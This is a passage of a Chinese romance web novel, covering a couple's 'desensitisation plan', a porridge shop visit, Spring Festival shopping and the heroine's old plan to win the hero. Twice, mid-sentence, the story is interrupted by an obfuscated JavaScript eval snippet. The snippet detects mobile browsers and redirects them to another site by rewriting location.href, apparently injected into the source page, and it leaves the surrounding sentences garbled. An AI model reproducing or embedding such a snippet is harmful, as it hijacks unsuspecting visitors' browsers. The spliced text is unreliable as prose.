最多的情绪,其实是希望他不要太难过,希望他能高兴一点。 “那怎么办呢,我当时已经很喜欢你了。” “那你还要把瑁妹也带走……一点都不留情面。” “因为某个人不承认喜欢我啊。” 宜夏的心结在这一刻尽数解开,她捧起谈雪昼的脸孔,弯起眼睛:“那我现在承认,很喜欢你,非常喜欢你,最喜欢你,只喜欢你。” - 宜夏之前偷偷上网查过自己对亲密接触过敏、恐惧是什么原因。 网上说是心理阴影造成的。但宜夏不觉得,于璟能带给她那么长久的恐惧。事实上,于璟那一次,她的反应就已经和现在差不多了,是脸色惨白、浑身冰凉、四肢僵硬、无法呼吸。不过,那一次,她控制着爬了起来,猛烈地反抗了。 她仔细想过,这种反应很可能是青春期整体的印象投射。 因为有太多人跟她讲,她的妈妈是抢别人老公的小三,是那种放荡的女人,而她也会继承妈妈的放浪,成为勾引别人男朋友和老公的那种人。 所以一想到亲密接触,一想到身体的交缠,她就会把自己放置入一直恐惧的情境。 也许是潜意识,她的身体想要证明,她一点都不向往□□的关系,她很清白,她不放荡。 在遇见谈雪昼之前,她不觉得有什么关系。 她对欲望很淡,就连看国外的B级片,或者网上的资源,大多数时候也不会产生什么情绪。 只是现在她才意识到,她好像不是真正的清心寡欲。 她很想碰他,接触他,亲他,也愿意交付给他。 所以,宜夏在嘉华汇的次卧大床上翻来覆去,辗转许久,还是睡不着,坐起来按亮了手机,慢吞吞在备忘录里开始敲字。 脱敏计划。 怎么才能帮她脱敏? 总不能每次都箭在弦上,却最后只是抱一下,然后就让他去淋浴冲澡吧。 现在她可以接受亲吻。 多亲一下会好一点吗?然后再循序渐进,慢慢地,接触身体……宜夏想不清,她低头,捏了捏自己的肩膀,以及胸脯。 好像没有什么反应啊……为什么不能接受其他人碰呢? 多亲吻…… 然后,再,宜夏想了想,如果她一时间没办法接受的话,其实她可以先帮他的,用手或者什么,应该不会太抗拒吧。 ……不行。 不能再想了,再想她整个人要燃起来了。 她把自己埋进被子里。 脑子却不由自主想起刚刚结束之后,她犹豫了下,矜持说要回去。 他却“喂”了一声,掀起眼皮,慢条斯理问她:“不是要帮你脱敏?” “你走了算怎么回事?我也不能远程作法吧?我没那么厉害。” 不知道怎么回事,她就稀里糊涂地觉得他说的有道理,应该跟他住在一起才好练习脱敏,最好搬到一起住。 既然都已经确定关系了,一起住其实挺正常的,也方便练习嘛。宜夏很好说服,晕晕乎乎地答应了他明天就搬。 可是她又突然有种被骗了还帮人数钱的错觉。 算了,不想了,她现在不清醒。 - 次日早晨,谈雪昼直接从嘉华汇送宜夏去工作室。 下车的时候,他拍了拍她的脑袋:“结束后给我打电话,帮你搬家。” 宜夏迟疑:“真要搬啊?” “那你自己想一想,到底是你搬去我那儿,还是我搬去你那儿,反正我都不介意。” 宜夏想了下。 她那个小公寓地方又小,东西又乱,还是租的,她怎么可能愿意他搬去她那住呢,太委屈了。 于是话就说定了。 只是宜夏吃午饭的时候突然又想起这回事,突然发现,他看似给了她两个选择,却根本没有选择啊? 电影补拍完了,还有很多细节没有敲定,改完之后节奏也有点问题,宜夏暂时还没有太多头绪。 但宜夏没有加班,在工作室只待到了六点,就给收拾了东西,给谈雪昼打了个电话。 她没有太多要搬的东西,主要是跟《清塘山岛日记》相关的文件资料视频什么的,收拾了一箱子,其他就是几件衣服,和一些绿植,很简单,都不用叫搬家公司,两个人就能打包好。不过谈雪昼还是带来了搬家公司的人。这家公司很专业,很多宜夏觉得不需要带走的东西,他们也好好地帮她打包了一起带上。 弄得好像宜夏彻底不用回这里住了一样。 宜夏欲言又止,最后没说什么。 九点多的时候搬家公司帮她把所有东西整理完毕,告辞离开。 于是偌大的嘉华汇顶层又只剩了两个人。 宜夏一整天都在想昨晚没想清的事,这时候看着谈雪昼向她走来,脱口而出:“那你想好怎么帮我脱敏了没有?” 谈雪昼没想到她这么直白急迫,挑了下眉:“这不是正在计划吗?要循序渐进。” 宜夏还想继续问,下一秒她就落入了他怀里。周身被清冽的冷香包裹,宜夏放松了身体,没有出声。 后颈多了一只手,轻轻捏住她那一块脆弱的皮肤,摩挲:“这样可以吗?” “……嗯。” 隔着衣服,往下面再探一点点。 “这样呢?” “……” 宜夏有点委屈地从他怀里抬起头,对上他带着笑的眼睛。他没继续,伸手揉了揉她头顶:“走了,出去吃饭去。” 宜夏懵了一秒,被他牵着出了门。 去的不是特别高档的餐厅,而是一家藏在巷子里的粥店。 宜夏没想到谈雪昼竟然知道这家店。 这家店宜夏是熟客,但不是因为她经常来喝粥,而是,上了高中之后外婆也来江流陪读,找了个工作,就在这家粥店后厨帮忙洗碗。 后来外婆生病才没做了。 粥店老板是个干练的女人,人特别好,外婆生病之后还给了两千块钱,救了当时的急。宜夏一直很感激他,后来课余找兼职打工的时候,也来店里帮忙收了一段时间的银。 再后来上了大学,开始做编剧的时候到处出差去片场,才来得少了些。 撩开透明的帘子,宜夏跟谈雪昼一起进店。 店里喝粥的都是熟客,老面孔,很多都是好多年前就光顾这里的。 老板迎上来,一眼就认出了宜夏:“小夏?你好久没来了,回江流工作了?” 宜夏冲老板笑了笑,点头,拉着谈雪昼在旁边坐下。 正要给他介绍店里比较招牌的粥,突然想起这家店是他带的路,宜夏想了下问:“你之前来过吗?” “以前经常来喝。” 宜夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056124|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨了下眼:“是吗,我在这里打过工,但没见过你。”思考片刻,自己找到了解释,“不过你比我高两级,我来打工的时候你都毕业了。” 宜夏把菜单递给他:“那你自己点吧。” 谈雪昼点了店里最招牌的艇仔粥,宜夏也点了份一样的,把菜单交给老板。 老板关切地问:“小夏,你外婆最近身体怎么样啊?” 宜夏抿了下唇:“她已经去世了。” 老板神色一僵,一下不知道说什么好,宜夏冲她笑了笑,表示没有关系。 老板去后厨忙了一阵,把粥盛在砂锅里端了出来给两人。 片刻后,看了看谈雪昼,好像有点儿印象,又看向宜夏:“小夏,你跟这位……同学,你们认识啊?” 宜夏奇怪,他们都面对面坐着了,那当然认识了。 老板挠了下头:“我没别的意思,这位同学好像之前也经常来喝粥的。” 谈雪昼抬起头,笑了下:“您记得我?” “我记得啊,应该是你读大学的时候吧?经常来,喝完就走,总是坐在角落里,但每次都有附近小姑娘找你要微信。” 谈雪昼还没回答,宜夏说:“那您可能记错了,他那时候读高中。” 老板怔了下:“啊,好像是14、15年的时候。原来在读高中啊?那看起来挺成熟的。” 14、15年……? 那不是他大一大二的时候吗?宜夏问:“您会不会记错了,应该比14年要早一点?” 老板说:“那不会,就是14年,你记得吗,你在我家店打工,帮忙收银那阵子。是14年吧?我记得你读高二。” 宜夏呆了下。 老板说这么清楚,不像记错了。 她探寻地看向谈雪昼,片刻后,没忍住问:“你上了大学还来过?专门从美国飞回来喝粥?” 谈雪昼懒散笑了笑:“不就是因为好喝吗?” 老板听了一会儿听懂了,十分动容,去厨房端了几个配粥的小菜来。为了从大洋彼岸飞回来的欣赏,她也士为知己者死做饭了。 喝完粥,老板跟宜夏再聊了一会儿。 问她外婆的情况,问她现在的工作,还问她交男朋友没有。 这时候谈雪昼就在旁边,若无其事地咳嗽了一声。 宜夏拉过他的手,笑了下:“这是我男朋友。” “我看出来了。”老板立马说,“哎呀,其实挺明显的。你俩还挺好的,这就是缘分啊,虽然高中的时候不认识,但在我家都喝过粥,现在还在一起来喝粥了。” 宜夏也觉得缘分很奇妙,仿佛冥冥之中有什么线索,把她和谈雪昼串了起来。 出了粥店,两个人没急着开车回去,而是顺着街道散了会儿步。 已经快到春节了,但天气回暖,温度并不算太冷。穿件厚点的外套,在外面散步蛮舒服的。 宜夏搓了搓手,侧过脸,认真问:“你真的觉得这家店的粥特别特别好喝吗?” “还行。” “好喝到你要打飞的回来喝。”宜夏摇头,“太喜欢了吧。” 还有,太奢侈了吧。 一趟航班飞下来,好几万块钱就没了。宜夏想了下,他不可能挤经济舱,那岂不是十多万?有钱人,真夸张。 谈雪昼看她一眼,牵住她的手,慢条斯理说:“其实也不全是粥的原因。” “嗯?” “也有一点,人的因素在里面。” 宜夏怔了一秒,有些错愕:“……你喜欢,老板?” 没看出来,他大学这个口味。 “想什么。”谈雪昼懒得多说,“走了,去前面买串糖葫芦回去。” - 宜夏是回去之后躺在床上,才突然回味过来,他说的“人的因素”是什么意思。 跟老板无关。 而是其他人。是那个,她曾经在Ins窥见一角的漫长暗恋,他要从耶鲁飞回来陪她高考的白月光。 他会为了她,不远万里从美国飞回来看她,而且不是一次两次,而是很多次。也会默默送她参加高考,却不让她知道。 宜夏没有参与他璀璨如钻石的青春时代,不知道他那样骄傲明亮的人竟然也会安静地守候一个人,守候一束抬手够不着的月亮。 被少年时期的他喜欢,是什么样的感受? 宜夏知道自己不该在意,因为现在跟他在一起的是她。 但她还是做不到看开,因为她实在是,实在是太羡慕那个女孩了。 68. 想把你比作春日 马上就要到春节了。 宜夏工作上没有松懈,还是每天按时去工作室。她得抓紧时间把电影剪好,提交给有关部门审核,拿到上映许可,再提交给准备投的电影节。 工作之余,她却时不时想起他的话。 想起他一趟一趟地从美国飞回来看那个女孩,猜测他是什么心情。 所以做很多事情都有点提不起劲来。 下班之后,谈雪昼照常来工作室接她。 《牺牲者》这段时间在做后期,不过还没到精剪的时候,进度井井有条,过年这几天他很清闲,没太多事做,闲下来就看片子打发时间。 坐上车,宜夏慢吞吞扣好安全带,转头问他:“过两天就要过年了,你要回家吧?” “嗯?不回。”他语气很漫不经心,“我陪你脱敏。” “……”宜夏耳根一下红了,“不要把脱敏这件事挂在嘴边。过年要跟家人一起过的啊,你不回家怎么行。” “你不是我的家人吗?” 宜夏慢吞吞摇头:“那我们,又没有结婚。” 谈雪昼侧过头:“这话什么意思?暗示?” 宜夏连忙说:“不是!我就是觉得你上次跟家人吵架了,这次过年要是不回家的话,他们会不会更生气。” “生气就生气。”谈雪昼无所谓的语气,“随便。” 宜夏揪了下外套的衣角,问他:“但是周总跟我说过,你家里……谈雪昼,你家里特别特别的有钱。他们会不会一生气,譬如说,就不让你拍电影了什么的。” 宜夏虽然知道“八千亿”这个数字,但其实对谈家究竟有多强大毫无认知。她只知道明面上的产业,海晏实业,港股上市的股票代码是0001号。 “他们早就这么干过了。”谈雪昼挺能看得开,“不然我为什么一个奖都拿不到?你真的以为,学院是需要拒绝我来显示优越?他们巴不得我能拿几个奖,帮他们把那些奖提高含金量。” 宜夏愣了下,这个她没想到。 迟疑了下:“那难道你拍电影,家里很不支持吗?” “不仅不支持,甚至差点封杀我。”他声音淡淡的,“拍致命追杀1的投资是我跟派拉蒙对赌拉来的,要是没赚钱,就要卖身了。” “……怎么会这样。” 宜夏之前和所有人都有相同的猜测。 她当然崇拜他的成功,但也觉得,有他那样的家世背景保驾护航,成功是理所当然的。没想到,他可能比一般人还要难一点。 片刻后,她问:“那现在你家里改观了吗?” “没有。等我哪天票房滑铁卢,就要被抓回去卖身给资本市场了。” 怪不得。 宜夏这才明白他对每场路演,对所有工作都那么尽心尽力的原因。 本来她是觉得,他不是特别喜欢跟人交流,一遍一遍展示自己的那种性格,他也不需要所有路演都事必躬亲,甚至偶尔在他路演遇见黑粉刁难的时候,她会替他觉得委屈。她希望他一直高高在上,一直骄傲。 他忽然侧过头看了她一眼,若有所思:“等我哪天真的失败了怎么办?” 宜夏想了想:“你吃的也不多,那实在没办法,我也可以养你。” 谈雪昼勾着唇笑:“不好意思,我吃的还挺多的。” 片刻后,又慢腾腾说,“不过,如果你要养我的话,我也可以少吃点。” - 谈雪昼春节真的没有打算回家。 那次不欢而散之后,谈之尧没有联系他,他也不会主动给她打电话求和,母子二人维持了非常僵硬的氛围。 得知谈雪昼春节依然不准备回家,谈之尧没有了台阶下,这次终于给谈雪昼打了电话。 谈雪昼把手机搁得远了点,听她训斥。 感觉时间差不多了,他才说:“爷爷那我会自己去说。你不用拿爷爷压我。” 对面猛然消声,电话顿时被掐断。 家大业大,谈家每年春节都很热闹。 谈雪昼的身份很特殊。他虽然是谈默生的外孙,但是被谈默生从小带在身边带大的。 谈家正经的继承人其实是谈之尧的两个哥哥,也就是谈雪昼的舅舅们。可是大舅舅在大学时因为意外去世,接手家业的小舅舅又在谈雪昼高中的时候,得了重病不治,身后留下唯一一个小姑娘,谈雪昼的表妹,那学习成绩不提也罢,甚至现在还学了谈雪昼,偷跑来娱乐圈玩耍。 这让对继承家业毫无天赋和兴趣的谈之尧成了谈默生唯一的继承人。 公主殿下并没有做继承人的心思,却有逼儿子成为继承人的决心。谈雪昼从小舅舅去世起,就开始接受严格的继承人教育,直到一朝叛逆,跑去拍电影。 因为这样特殊的身份,谈雪昼每年春节,都要面临很多亲戚小心翼翼的吹捧恭维,这些人前倨后恭,令人发笑。 有些事就是这样。 他不想要的东西,其他人视若珍宝。 他想要的东西,很多人弃若敝帚。 谈雪昼在除夕前一天给谈默生打了电话,通知他春节不回家。 谈默生问他原因。 他很坦率:“不想回。等春节结束了,我再回家看您。” 谈默生沉默片刻:“我现在是完全管不了你了。你是一点都不在乎我。” 谈雪昼被老爷子这种话定住了,有点怀疑他被夺舍。 谈默生说:“前几天,你跟你妈吵架的事,我知道了。” 谈雪昼摩挲着手机,“嗯”了一声。 “那个女孩,就那么好?好到你要把你妈的脸面往地上踩?” “……她的脸面,跟我做什么事无关。” “小雪,”谈默生叹了口气,年老的掌权者唯一无奈的事情,就是自己的孩子,“你要让着你妈妈,不要一直跟她吵架。她是小姑娘的性格,你也知道。” 谈默生心目中的小姑娘。 已经五十多岁了,依然被父亲保护得密不透风,除了曾经感情上的一点挫折之外,再也没有遇见过任何不顺心。 谈雪昼是她感情挫折的后遗症,一直让她疼痛难堪,她不喜欢他,是理所当然。 谈雪昼收了电话,看向客厅坐在地毯上跟瑁妹玩耍的宜夏,眼神缓缓柔和下来。 宜夏见他打完电话情绪低沉,想了下,弯着眼睛叫他:“谈雪昼,我们去逛超市吧!” 宜夏这也是除了外婆第一次有其他人跟她一起过年。 本来她没预料到和他一起,是打算自己随便煮一包速冻饺子了事的。 但现在,她突然燃起了很多热情。她希望他们一起过的第一个年,能够在回想起来的时候觉得很温暖。 两个人一起下到车库,谈雪昼照常打算开他那辆墨蓝色的捷豹。 宜夏朝旁边多看了两眼。 停在旁边的是一辆线条流畅、蓄势待发的银色跑车,充满幻想未来感,看起来就很昂贵。谈雪昼顿了下,问她:“怎么,要开这辆出去吗?” 宜夏有些心动,又犹豫:“这个不好装东西吧。” 两座的跑车,只能兜兜风。 “让人送回家就行。”谈雪昼说,“在这等我,我上去拿钥匙。” 趁他上楼的功夫,宜夏绕过去给那辆跑车的标志拍了个照识图。AI告诉她是柯尼塞格AgeraRS,价值超过三千万。 就被他停在车库里落灰。 宜夏一直对他家境的优越有心理准备,却还是觉得差距太大了。 ……所以。 能让他这样的人,也默默暗恋的那个姑娘,会有多好呢? 谈雪昼很快拿了钥匙下楼,把一枚小小的银色盾牌塞进宜夏手里。 宜夏讶然:“这个是干什么的?” “钥匙。你开。” 宜夏赶紧说:“不要,我要是刮到了那我肯定赔不起。” “刮到了就送你。” 宜夏:“……” 谈雪昼看着她,带点笑:“不是说了要养我的?开个车都不愿意。” 被他这么一说,宜夏鼓起了勇气,打算带自己的小白脸男朋友出去兜大冬天的冷风。 旋翼门升起,宜夏坐进车里,谈雪昼从另一侧上车,教她:“钥匙放旁边那个凹槽里。对,然后按这里,按两下,可以。往外面开就行,不要怕。” 宜夏有生之年开车从没那么稳健过。 小心翼翼,生怕磕了碰了,跟旁边过去的车剐蹭了。 不过路过的车估计比她更害怕,纷纷与她拉开距离,甚至她走的车道前后十米都没有车加塞进来,一路畅通无阻。 最高时速能达到447公里的超跑,以三十码的龟速在马路上爬行。 谈雪昼倒是对她的车技格外放心,还有心情看手机。 红灯的时候,宜夏停住,转头看他,却见他举着手机朝她拍了张照。 她慌张问:“拍了什么?别拍我,我好紧张。” “说了刮了就送你,紧张什么。” 宜夏:“不行你别说这种话,你越说我越紧张了,不行,我要停了,你自己来开,我感觉我手在抖,我要出汗了……” 后颈突然多了一只手,他在她后颈处探了探,漫不经心说:“没出汗。” 宜夏坐直,一下消声了。 全程沉默格外稳健地把车开到了他们要去的那家超市。 然后把车停进车库的时候,又经历了一番手心出汗。 本来这家超市是有帮忙泊车的服务的,只是没想到有人会开超跑来,顿时给泊车的服务员整不会了,不敢上车,只好宜夏自己来。 谈雪昼就在旁边埋头玩手机,不知道在看些什么,也不指挥,很放心的样子。 停好车后,宜夏赶紧把银盾塞回给谈雪昼:“回去你开。” “嗯哼。”他还在看手机,随意地把钥匙放回口袋。 “看什么呢。” “没什么。”他晏然自若收起手机,很自然牵起她的手,“走了。想好买什么了没?” 宜夏很喜欢逛超市。 光线明亮,货架充实,随手就能取下自己想吃的东西丢进购物车里,对接下来的几天能有很确切的期待感。生活本身的充实温暖就藏在超市购物车推动时的声响里。 谈雪昼推着车,问她:“要不要买饺子?” “好啊,你要什么口味的?” “虾仁玉米可以吗?” 宜夏低头看购物清单,一项一项打勾。 她一直觉得一起逛超市这件事情是特别情侣,特别暧昧,因为,在过程中需要交流很多个人的偏好,譬如薯片买什么牌子,可乐什么口味,牛奶要厚一点的,还是淡一点的,等等。 她知道谈雪昼都不挑。也许是因为他拥有的选择太多,从小到大所有的选择都是在珍贵的东西里选择最珍贵的那一小撮,所以现在对很多东西都无所谓。 但她还是想把自己的喜好分享给他,碰碰他肩膀:“要不要买这个山楂卷?你喜不喜欢酸的?” 他对什么都好好好买一点,最后是堆满了一整个购物车。 谈雪昼很好脾气推着车往前走,宜夏低头检查手机上的购物清单,边对边打勾,没注意,撞到了迎面走来的一个女生。 宜夏一抬头,对方戴着口罩,露在外面的一双眼睛黑白分明,形状精致明艳,戴着口罩看不清整张脸,反而令人遐想无比。 一个导演对镜头的敏感立刻让宜夏感觉到,这姑娘的眼睛适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068304|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合大银幕。 这姑娘弯了下眼表示抱歉。 隔壁货架转过来一个男人,皱着眉看了那姑娘一眼,淡淡开口:“还没选好?” 男人视线稍稍一抬,扫过宜夏。 明明是很平静的眼神,却偏偏有种强烈的居高临下感,冲淡了他英俊长相给人带来的第一眼好感。 他直接略过了宜夏,看到她身后的谈雪昼,才出声:“谈雪昼?” 谈雪昼也认出了来人:“梁总。” 梁总只是点了点头,似乎没有多搭话的想法,转头看那个漂亮的姑娘,皱着眉:“走了。” 那女生很依赖地拉着他的手掌,声音软软的像撒娇:“梁照京,我还想再买一点椰子水……可不可以呀。” “这也要问我,也要我决定?我不在了你怎么办?” 两个人说着话,身影消失在了货架转角。 宜夏默默收回眼神,看向谈雪昼。 很少有人直接喊谈雪昼的名字。 她对人的姿态很敏感,特别明确地接收到了这位梁总高高在上的气势。 她问:“你们认识?” 谈雪昼点头:“高中同校。同一年级。” 宜夏想了下:“那不就也是我学长?” “算是。” 宜夏小声问:“什么人啊,这么傲慢。” 和谈雪昼那种傲慢不一样。 刚认识的时候,谈雪昼勉强会包装一下,不会第一眼就流露出倨傲的气势。梁总却是打个照面都能看出盛气凌人,傲慢凛冽。 只是对那个女孩,稍稍柔软了下来。 谈雪昼笑了下:“他姓梁。” 梁怎么了? 宜夏撇了下嘴,叹口气迅速把这个人抛之脑后,低头继续在清单上打勾。 随后把手机交给谈雪昼:“你看看这里面还有没有什么漏掉的?” 谈雪昼往下翻了下,不小心点到了旁边,退出了这份备忘录,而进入了备忘录列表。 接着就看见,购物清单下面的一份备忘录,上面写着“脱敏计划表”。 一行摘要,“亲吻,每…” 他抬起眼。 宜夏也注意到了手机屏幕上的备忘录,顿时耳根一下爆红,连忙拿过手机:“……应该没什么漏的了,那个,我们去结账吧。走走走——”她拉着谈雪昼的衣袖。 她不确定谈雪昼看见备忘录上面的东西了没。 观察了下他神色,他一切平常,还反手牵住她的手去收银台。 她松了口气。 应该没看见那个计划表吧。 结账的时候,宜夏一样一样把东西从购物车里拿出来,谈雪昼直接伸出了付款码。 随手拿过货架旁边的一盒东西一起丢在收银台上。 收银小姐姐戴着口罩,抬起头看了他一眼,确认:“再加一盒一起是吧。” 谈雪昼扯了下唇角,漫不经心:“一起。” 宜夏耳根霎时红了,假装没听见机械地从购物车里拿东西。 这家超市有送货上门的业务,会帮客户把购买的东西装好,送到约定的地址。于是两个人两手空空地从收银区离开,宜夏悄悄一瞄,却看见谈雪昼随手把他最后加的那盒小东西塞进外套口袋里。 出了超市往车库走,宜夏没忍住,若无其事问:“买那个干嘛。” 谈雪昼声音吊儿郎当:“我这不是,有备无患吗。”顿了下,看向她,眼睛里带着戏谑的笑意,“之后我也会尽力配合你,按计划脱敏的。” ——他刚看见了。 还装作什么都没发生。 宜夏顿时感觉自己的不安和羞赧很搞笑,干巴巴说:“那确实需要你配合。” 谈雪昼忽略她的话,自顾自往下说:“那你那个计划能给我看一眼吗?让我看看有没有什么要修改的地方?” 宜夏:“……不能。” “那我怎么帮你脱敏呢?” “……”宜夏被他逗得脸发烫,不愿服输,顺着他的话很正经地说,“我会按顺序,需要你配合的时候我都会通知你的,你不用着急。” 谈雪昼意味不明地笑,嗯了声:“那你快点儿。”顿了下,“毕竟我,确实,很想配合你。” 宜夏快走两步走到前面,假装没听见他说话。 已经不能愉快地做朋友了。 然后就听见他在后面忍笑。 宜夏这下更憋了。 - 两个人在外边逛了一圈才开车回去。 回去的时候是谈雪昼开的车,问宜夏要不要试一试超跑的性能。宜夏很心动,拉住安全带,满眼期待地点头,谈雪昼说:“很可惜呢,会超速。” 宜夏:“……” 那你问个鬼。 宜夏觉得他今天一天都在逗她,她也会生气的。 她不想理他了,低头看手机。 她好久不看朋友圈,心血来潮翻了一翻。 结果看见大概一个小时前,某个不发朋友圈的人发了一张照片。 大导演的抓拍有点潦草,正是红灯时她停下车紧张兮兮地跟他说话的那一秒。 还挺傻的。 不过虽然潦草,他的镜头里她却有种很鲜明的可爱,脸颊红扑扑,神情很生动。 下面评论区有一些宜夏认识的他的同事和合作伙伴们: 【?这是?】 【???】 【新电影女主角吗?谈老师有眼光】 不过说到底宜夏和他共友不多,看不见太多评论。 只能看见他自己在最下面的回复: 【不是女主角,是女朋友哦】 过了一会儿,还补了句: 【我的】 69. 想把你比作春日 原来他刚刚玩手机是在发朋友圈。 宜夏心情浅浅地雀跃起来。 看了一会儿那条朋友圈,收起手机,用认真的口吻问:“你偷拍我,还发朋友圈,这个不合适吧。电影人应该尊重他人的肖像权。” 他顺着她的话胡说:“那你惩罚我吧。” 宜夏脑子里顿时塞进来一堆黄色废料,沉默片刻,才说出自己的顾虑:“你屏蔽了家里人没有?他们看见会不会,不高兴?” 正是红灯。 谈雪昼一脚刹车停住,伸手捏了下她脸颊:“你是觉得你见不得人?” “不是……”宜夏担心的不是其他,而是他会不会因为她和家里人吵架,心情不好。 谈雪昼看她一眼:“那就是我见不得人?说到这个,你从来没跟人公开过我,是吧,我只是你的地下男友。” 宜夏不知道话题怎么绕到她身上了,立刻解释:“你有很多女友粉你知不知道,我就算在朋友圈里发了你,别人也只会觉得我是你粉丝。” “那你就发点儿独特的,别人拍不到的照片。” “什么?”宜夏有点怀疑地看着他,脸颊慢慢红了,“……这个不好吧。” “不是,我想的是女友视角。你想的什么?你脸红什么呢?” 宜夏绝不肯承认她刚刚想到别的地方去了,嘴硬:“我当然想的也是。”然后她学他之前抓拍,也对着他拍了张照片,低下头自顾自开始编辑朋友圈。 车启动了。 他慢条斯理:“你就这么敷衍?还学我?” “先宣一个,到时候再补正式的,不然你肯定会一直说这件事。” 谈雪昼:“……” 宜夏的官宣却没那么坦荡,她屏蔽了挺多人,只留下有印象、关系不错的同事和大学同学。 她总感觉在那些关系不好的人面前炫耀,挺没意思的。 和高中同学不同,她跟大学同学相处得都还不错,虽然联系不太多。她高中学的理科,大学却学了中文,也是在大学的公共课上认识的薛霓。后来才知道,薛霓也是江流中学的,不过是分校。 照片发出去后,立刻有很多人在下面评论。 大部分是在说恭喜99的,还有: 【这怎么这么眼熟,不是谈导吗?】 【牛】 【帅!阿宜你是我们宿舍最有出息的!】 【牛逼,这怎么泡到的】 【卧槽这车内饰,KoenigseggAgeraRS?】 【好帅!分我一个!分我一个!分我一个!】 宜夏在下面回复: 【不能分,这我的。】 然后宜夏又点回私聊小窗,接受许多朋友的关心和好奇。 薛霓和路嘉灵一前一后发来消息,她都一一回了。 路嘉灵大年二十九人还在剧组,抽空发消息: 【我就知道你们肯定复合】 【都不惊奇】 宜夏: 【为什么会这么觉得】 路嘉灵: 【因为】 【有情人终成眷属】 明明只是一句普通的话,宜夏看着看着,却忍不住笑起来。 - 两个人回到嘉华汇的时候,物业管家已经帮忙把买的东西搬进了家里,就放在餐厅,等待拆封。 宜夏蹲着拆箱子,对着自己的清单一样一样核对。 谈雪昼在旁边倒水,看她那么认真,懒散问:“你做什么事都这么有计划?购物要清单,脱敏要计划,就连攻……” 他话突然顿住,没继续往下说,而是若无其事地蹲下,帮她把已经核对好的饮料拿去冰箱。 宜夏有点敏感,抬起头问他:“就连什么?” “没什么。” 宜夏手上动作停了,皱紧眉头。 好一会儿,她突然想到了什么:“就连……攻略你,也做了计划,你是不是想说这个?” 谈雪昼动作也停了,好一会儿,才低低地“嗯”了一声。 宜夏想起来了。 应该是那次他说她的电脑有响声,帮她检查电脑,他看见了那份文件吧。 但是他一直没提过。 而且,以宜夏对他的认识,他应该也没有点进去,只是看了一个文档名。 宜夏没多说什么,站起来,去书房把笔记本拿出来,放到茶几上。 谈雪昼在那边收拾冰箱,宜夏安静片刻,用轻松的口吻叫他:“谈雪昼,那,你要不要看我的计划?” 谈雪昼问她:“你想让我看吗?” “我想让你知道。” 谈雪昼停了一下,走过来,漫不经心地按了下她脑袋:“那都过去了。” 宜夏坚持:“可是我想让你看见。” 谈雪昼与她对视。 片刻后,他服软,在她旁边坐下。 宜夏第一次坦诚地面对曾经对他的那些别有用心、蓄意接近。 她打开了那份文件。 已经从1.0迭代到3.0的《攻略TXZ作战计划》。 宜夏做事很认真,文档里写了完整的攻略计划,还按时间记录了每一次的互动过程。 她认真记录了他的喜好,口味,过敏原,特别细致;也注意了他平时喜欢的外套品牌,喜欢的洗衣液气味。 甚至他所有的公开采访都被整理出来,分条列目做好索引放在文档里。 跟写论文一样分析了他的性格偏好,语言风格,尤其是喜欢的电影风格、题材、类型。对电影这一项,做了很严格的分析,从最喜欢的导演,选择演员的偏好,到镜头构图视听语言的选择,甚至到他所有电影前中后期的营销宣发策略…… 如果不是出现在这份文件里,这么翔实的分析,简直可以加入电影学院研究生毕业论文的素材库。 谈雪昼往下翻,翻着翻着,突然有些心软的动容。 写这份文件的人,真的只是把他当一个攻略对象吗?平心而论,这么深刻的观察,如果不是强烈而不自觉的在乎,只凭攻略的事业心,应该做不到吧。 谈雪昼看了旁边默默坐着的宜夏,回过头,把文档往下拉。 按时间顺序,文档里如实记载了两个人很多很多互动、对话,方便她复盘分析。 譬如,她写: 从电影风格中总结不出目标对女性的长相打扮偏好。根据推测,猜他喜欢比较清纯温柔的风格。 行动:换了裙子化伪素颜全妆。 目标:从他下意识的反应推测他的喜好。 挫折:他出门了没看见。 下一步行动:自拍后发微信照片给他。 挫折:他好像没有反应。 总结:失败,再接再厉。 后面画了一个可怜的兔子表情表示沮丧。 谈雪昼没忍住笑,清清嗓子,看向宜夏:“怎么记这么详细?” 宜夏老实解释:“因为,你很难懂。” 谈雪昼哼笑一声:“你猜错了,我不喜欢清纯温柔的。” “啊?” 谈雪昼直白说:“喜欢你这样的。” 文档前面记录得很详细。 但到了后面,就开始断断续续了。 越往后,记录得越潦草。 逐渐失去攻略计划的记录功能,变成了日记,不过写得很凌乱,没什么条理。 到最后,字里行间,写的却是: 我好像做了错事。 不该这样开始的。 我会不会伤害他? 没写出来,但任何人都能读出她的迟疑,茫然,以及疑惑——我是不是喜欢上他了?我喜欢他吗?我好像,真的喜欢上他了。 我不想要他难过。 不想伤害他。 文档最后的修改时间,就在谈雪昼那次看到之前。 看完整个文档,谈雪昼突然有点后悔。 后悔太有教养,那次明明点进了这个文档,却都没往下看。 宜夏不知道能说什么,尽量不出声打扰他,默默地低着头。 她是希望他看见,同时也是希望自己真正面对这件事,可还是不免为他可能的反应而煎熬。 正胡思乱想,后颈突然被他压住。宜夏仰起脸来,他不知什么时候凑近,含住她的唇瓣,用力吮吸。 宜夏这段时间已经被他锻炼出了条件反射,只要后颈被他稍微一碰,就开始浑身发烫,呼吸急促。 他的舌尖探入了她的口腔,是温柔的扫荡。宜夏浑身发软,手臂攀在他的肩膀上,细细地软软地哼出了声:“谈雪昼……” 